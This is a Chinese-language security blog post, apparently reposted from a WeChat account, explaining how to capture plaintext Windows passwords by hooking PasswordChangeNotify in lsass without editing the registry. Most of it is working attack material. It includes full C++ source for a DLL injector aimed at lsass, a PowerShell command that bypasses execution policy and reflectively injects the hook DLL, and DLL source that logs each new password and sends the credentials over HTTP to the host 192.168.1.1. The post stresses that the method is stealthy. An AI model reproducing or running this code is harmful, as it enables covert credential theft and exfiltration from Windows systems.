【技术分享】浅谈无需修改注册表抓取明文密码

  • A+
所属分类:安全文章

【技术分享】浅谈无需修改注册表抓取明文密码

 

01

前言


在win2012以前的操作系统版本下,由于WDigest将明文储存到lsass进程中,可以抓取明文密码。在win2012版本以后需要通过修改注册表才能抓取到明文密码,否则只能是hash。修改注册表意味着有很铭感的操作,那么有哪些方法可以让我们无需修改注册表抓取到win2012以上版本的明文密码呢?本文就通过HookPasswordChangeNotify无需修改注册表抓取明文密码进行浅谈。

【技术分享】浅谈无需修改注册表抓取明文密码

LSA

LSA全称Local Security Authority,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe进程。

【技术分享】浅谈无需修改注册表抓取明文密码

02

PasswordChangNotify



PasswordChangeNotify是windows提供的一个API。

在修改密码时,用户输入新密码后,LSA 会调用 PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify,在系统中同步密码。这个过程中会有明文形式的密码经行传参,只需要改变PasswordChangeNotify的执行流,获取到传入的参数,也就能够获取到明文密码。

msdn文档:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine

HOOK PasswordChangeNotify

具体实现思路如下:

  1. 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。

  2. 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。

  3. 将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启系统或修改注册表,更加隐蔽且贴合实际。

远线程注入(突破session0)

已有前辈写了相关的Inline hook代码。

项目地址:https://github.com/clymb3r/Misc-Windows-Hacking

打开项目后,将MFC的使用设置为在静态库中使用MFC。

【技术分享】浅谈无需修改注册表抓取明文密码

F7编译即可。

dll生成后就需要注入dll,注入的方式也很多了,可以起一个线程去远线程注入。由于是注入lsass进程,一般的远线程注入是无法注入成功的,需要突破session 0,使用更为底层的ZwCreateThreadEx。正好之前有写过一个注入的代码,这里直接贴上来。

#include <iostream>#include <windows.h>#include "tchar.h"#include <TlHelp32.h>
using namespace std;
BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName){ HANDLE hToken = NULL; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; // 打开进程令牌并获取进程令牌句柄 bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); if (FALSE == bRet) { printf("[!] Open CurrentProcessToken Error,Error is:%dn",GetLastError()); return FALSE; } else { printf("[*] Open CurrentProcessToken Successfully!,TokenHandle is:%dn", hToken); } // 获取本地系统的 pszPrivilegesName 特权的LUID值 bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue); if (FALSE == bRet) { printf("[!] LookupPrivilegeValue Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] LookupPrivilegeValue Successfully!n"); } // 设置提升权限信息 tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升进程令牌访问权限 bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL); if (FALSE == bRet) { printf("[!] AdjustTokenPrivileges Error,Error is:%dn", GetLastError()); return FALSE; } else { // 根据错误码判断是否特权都设置成功 dwRet = ::GetLastError(); if (ERROR_SUCCESS == dwRet) { printf("[√] ALL_ASSIGNED!n"); return TRUE; } else if (ERROR_NOT_ALL_ASSIGNED == dwRet) { printf("[!] ERROR:NOT_ALL_ASSIGNED,Error is %dn", dwRet); return FALSE; } } return FALSE;}DWORD EnumModules(DWORD hPid, LPCSTR hMoudlePath){ WCHAR szBuffer[MAX_PATH] = { 0 }; mbstowcs(szBuffer, hMoudlePath, MAX_PATH); //通过pid列出所有的Modules HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32;
//给进程所引用的模块信息设定一个快照 hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, hPid); if (hModuleSnap == INVALID_HANDLE_VALUE) { printf("[!] Error:Enum modules failed to detect if there is an injected DLL module,error is %dn" ,GetLastError()); } me32.dwSize = sizeof(MODULEENTRY32); if (!Module32First(hModuleSnap, &me32)) { printf("[!] Enum Error!n"); CloseHandle(hModuleSnap); } do { if(!memcmp(me32.szExePath, szBuffer,MAX_PATH)) return 1; } while (Module32Next(hModuleSnap, &me32)); CloseHandle(hModuleSnap); return 0;}DWORD _InjectThread(DWORD _Pid, LPCSTR psDllPath){ FILE* fp; fp = fopen(psDllPath, "r"); if (!fp) { printf("[!] Error:DLL path not foundnPlease check that your path is correct or absoluten"); return FALSE; } fclose(fp); printf("****************************************************************************n"); HANDLE hprocess = NULL; HANDLE hThread = NULL; DWORD _SIZE = 0; LPVOID pAlloc = NULL; FARPROC pThreadFunction = NULL; DWORD ZwRet = 0; hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); if (hprocess == NULL) { printf("[!] OpenProcess Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] OpenProcess Successfully!n"); } _SIZE = strlen(psDllPath)+1; pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE); if (pAlloc == NULL) { printf("[!] VirtualAllocEx Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] VirtualAllocEx Successfully!n"); } BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllPath, _SIZE, NULL); if (FALSE == x) { printf("[!] WriteMemory Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] WriteMemory Successfully!n"); }
HMODULE hNtdll = LoadLibrary(L"ntdll.dll"); if (hNtdll == NULL) { printf("[!] LoadNTdll Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] Load ntdll.dll Successfully!n"); } pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (pThreadFunction == NULL) { printf("[!] Get LoadLibraryA Address Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] Get LoadLibraryA Address Successfully! Address is %xn", pThreadFunction); }#ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown );#else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown );#endif typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL; ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) { printf("[!] Get ZwCreateThreadEx Address Error,Error is:%dn", GetLastError()); return FALSE; } else { printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %xn", ZwCreateThreadEx); } HANDLE hRemoteThread; ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess, (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) { printf("[!] Creat RemoteThread Error,Error is:%dn", GetLastError()); CloseHandle(hprocess); return FALSE; }
printf("[*] Please wait for a moment in the process of injection:n"); for(int m = 0;m<5;m++) { if (EnumModules(_Pid, psDllPath)) { printf("[√] Creat RemoteThread Successfully! RemoteThread Id is %xn", hRemoteThread); VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hprocess); FreeLibrary(hNtdll); return TRUE; } Sleep(2000); } printf("[!] DLL injection failed!nNotice:Please check that your path is absolute or correctn");
VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hprocess); FreeLibrary(hNtdll); return FALSE;}int main(int argc, char* argv[]){ if (argc == 3) { EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME); DWORD dwPid; sscanf(argv[1],"%d", &dwPid); _InjectThread(dwPid, argv[2]); return 1; } else { printf("[!] You passed in the wrong number of parameters!Please pass in two parameters.n"); printf("[!] Notice:n[!] The first parameter is the PID of the target processn[!] The second parameter is the location of the injected DLL,Please enter the absolute path!"); return 0; }}
找到lsass进程的pid后直接开始注入。
【技术分享】浅谈无需修改注册表抓取明文密码
【技术分享】浅谈无需修改注册表抓取明文密码

可以通过procexp64.exe看下dll到底注入成功没有。这里要注意以管理员运行procexp64.exe,不然会无法看到lsass的组成模块,因为遍历高权限进程模块本身就需要权限。

【技术分享】浅谈无需修改注册表抓取明文密码然后就更改一下密码。

【技术分享】浅谈无需修改注册表抓取明文密码

但是这里却失败了,C:WindowsTemp路径下并没有password.txt文件,当要删除HookPasswordChange.dll文件时也无法删除,说明是真正注入进去了,有点疑惑。

【技术分享】浅谈无需修改注册表抓取明文密码

后面通过反射加载的方式可以获取到明文密码,这里就有点不懂了,反射加载和直接加载就是加载方式的区别,最后dll都在进程空间里面,但是这里为何为失败确实没想明白。由于笔者学识尚浅,有懂得师傅请不吝赐教。

利用PS脚本

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

注意这里该脚本是使用反射dll加载。

使用该脚本HookPasswordChange.dll注入内存

Set-ExecutionPolicy bypassImport-Module .Invoke-ReflectivePEInjection.ps1Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

【技术分享】浅谈无需修改注册表抓取明文密码

再次修改密码后可在C:WindowsTemp目录下查看到passwords文件

【技术分享】浅谈无需修改注册表抓取明文密码

这个文件位置是可以修改的,只需要修改HookPasswordChange.cpp文件,路径改一下就行。

【技术分享】浅谈无需修改注册表抓取明文密码

由于是反射dll加载,没有通过LoadLibrary等API加载,procexp64.exe无法再找到相应的dll。并且是内存中直接展开,可以直接删除掉HookPasswordChange.dll文件。如果需要远程将密码返回到服务端,可以再写一个dll,用http协议经行传输

#include <windows.h>#include <stdio.h>#include <WinInet.h>#include <ntsecapi.h>
void writeToLog(const char* szString){ FILE* pFile = fopen("c:\windows\temp\logFile.txt", "a+"); if (NULL == pFile) { return; } fprintf(pFile, "%srn", szString); fclose(pFile); return;}


// Default DllMain implementationBOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ OutputDebugString(L"DllMain"); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
BOOLEAN __stdcall InitializeChangeNotify(void){ OutputDebugString(L"InitializeChangeNotify"); writeToLog("InitializeChangeNotify()"); return TRUE;}
BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation ){ OutputDebugString(L"PasswordFilter"); return TRUE;}
NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword ){ FILE* pFile = fopen("c:\windows\temp\logFile.txt", "a+"); //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0); HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0); char* pBuf="SomeData";


OutputDebugString(L"PasswordChangeNotify"); if (NULL == pFile) { return; } fprintf(pFile, "%ws:%wsrn", UserName->Buffer,NewPassword->Buffer); fclose(pFile); InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2); InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2); HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));
return 0;}
【技术分享】浅谈无需修改注册表抓取明文密码

- 结尾 -
精彩推荐
【技术分享】docker notify_on_release和重写devices.allow逃逸方式分析
【技术分享】Tomcat通用回显学习笔记
【技术分享】zyxel nas CVE-2020-9054 漏洞分析
【技术分享】浅谈无需修改注册表抓取明文密码
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】浅谈无需修改注册表抓取明文密码

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: